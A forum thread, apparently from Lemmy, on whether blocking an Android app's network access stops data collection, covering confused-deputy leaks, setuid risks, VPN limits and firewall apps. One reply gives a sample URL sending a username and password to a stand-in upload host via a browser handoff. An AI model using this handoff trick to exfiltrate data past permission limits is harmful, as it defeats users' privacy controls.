theres a bunch of customizastion apps (icon packs, launchers etc.) that look really cool but lowkey collect my data, but if I just turn off the apps network permissons (app info, mobile data usage, and then set allow network access to off) do I still need to worry about data collection? thank

No and yes? I would assume as SOON as you turn on the network for that app theres a risk of the app uploading all the data it has collected

I'm not really sure if it's a problem on mobile, but even if network access is disabled for a process & its children, it may have access to processes that do have access.

As an example, open a firefox-based browser (not sure about chromium). Then, in a new terminal window, run the following command: firefox lemmy.ml, substituting firefox for the name of the open browser. Lemmy.ml should now be open in a new tab in the original browser window.

It doesn't really matter if a program opens lemmy, but it can open any URL, like for example: https://example.com/data_vacuum/upload?user=ferric_carcinization&password=password123&pronouns=they-them&favorite-language=rust

mostly no, but they may still get net access if you're rooted and allow root perms for that app. otherwise i'd say it's fine.

my phone's not rooted so I guess i'm fine

oh damn, that could happen right after I download the app grr

This is… actually clever. Have you seen any incidents that involved the usage of this or is this common malware technique or something?

Will these connections show up in the network logs? If so, then one can at least know if connections ate bring made and try to block it. I'd appreciate it if anyone could explain .

(app info, mobile data usage, and then set allow network access to off)

If that includes wifi then you're probably fine. There's a bunch of other protocols an app might leak data over, such as Bluetooth, NFC, Calls/SMS, USB, etc., but they're all quite niche compared to a regular internet connection.

I might be mistaken, but I think on Android you (as an app developer) can't just launch things in specific other apps, and you can instead only launch a type of action but the user would be prompted to select an app to complete the action with (until the user chooses the default app for that type of action from that app).

I'm pretty sure apps can't start until the user chooses to launch them, so in that time you could either disable the permission or turn off your device's internet. Assuming you need a VPN so you can't just use NetGuard?

yea sadly I want to use a vpn so I can't use netguard

can they really do anything with that even if they don't have like sms permissions or whatever?

It will show up as coming from firefox. When you run the command with the browser already running, it tells the original browser process to open the tab, then exits. The restricted process never does any network I/O by itself.

and try to block it.

You would have to know in advance all the domains the malicious program would access and block them, so realistically, no, at least not pre-emptively.

I'm not sure if this specifically is used, as it requires the browser to be already running. If not, the new browser instance is spawned as a child process to the malicious program, inheriting all of its restrictions.

In general, if you don't have permission to do something yourself, it's common to find someone who does and ask nicely (or maliciously) for them to do it on your behalf. This is called the confused deputy problem.

See also the security problems related to the setuid bit.

For example, sudo should be owned by root and have the setuid bit set. This means that every time you run sudo, it runs with the permissions of the root user. Now, sudo is typically strict about checking if you're really allowed to run commands with elevated permissions, and only executes the command you give if it's sure that ypu're allowed to.

But, suppose that you could replace the call to the password cheking function with a call to exec. Now, your password is interpreted as a file path and the file it points to is run with the sudo process' peemissions (root). Authentication has now been bypassed.

It was a made-up example, but I hope that it illustrates the point.

In the real world, buffer overflows can potentially write user-supplied data over something important, essentially giving you a chance of achieving something similar. (Incidentally, the Rust programming language practically eliminates this class of memory-related bugs.)

They'd need permission and even then most attacks would need to be impractical. It's something to keep in mind but I wouldn't lose sleep over it.

Rethink DNS (on f-droid) offers the option to use WireGuard profiles from a your VPN provider if you supply it. Most providers allow that option.

Rethink allows disabling network access, firewalling, and DNS adblocking.

ah alright I guess it's not a BIG deal lowkey

Thanks for that.
This confirms my suspicion.
I remember individually blocking so many donations when on Win10. Its impossible tip keep up with them all. I had a feeling that many of these domains just keep getting regard with new addresses every few days. Really frustrating.

The answer depends on which switch you actually used, and the two that look alike behave very differently.

If it was "Background data" (or Data Saver's per-app restriction), that only blocks the app on metered networks while it is in the background. The moment you open the app it is foreground and the restriction no longer applies — Android exposes this to developers as getRestrictBackgroundStatus(), precisely so an app can tell when it is allowed to transmit again. So anything it banked while restricted goes out the next time you open it. For a data-collecting app that is not a meaningful barrier, because opening it is the normal case.

If your OEM gives a genuine per-app "Allow network access" toggle covering both Wi-Fi and mobile — Samsung and Xiaomi do, stock Pixel does not — that one is enforced on the UID and does block properly, foreground included.

Worth separating the two things in your question, because they are not the same:

• Transmission is what blocking stops. That part works, with the caveat above.
• Collection continues regardless. The app keeps reading whatever it has permission to read and writes it to its own storage. Nothing about network blocking touches that, and it is all still there when access comes back or when you uninstall and the data has already synced through something else.

So "do I need to worry" — yes, but about a narrower thing than it first looks. A blocked app cannot phone home while blocked. It can collect the whole time, and it transmits on the first opportunity. If the goal is that it never has the data at all, the permission screen is the lever, not the network one.

On the VPN-slot problem further up: Android permits exactly one VpnService at a time, which is a hard OS limit rather than something NetGuard chose. The only real ways around it are a firewall that carries your VPN inside it, as suggested with Rethink, or going at it from the DNS side instead.

i found an app called shizuwall which seems to be basically the same thing as netguard but instead of using a vpn connection it uses shizuku, and it seems to work pretty well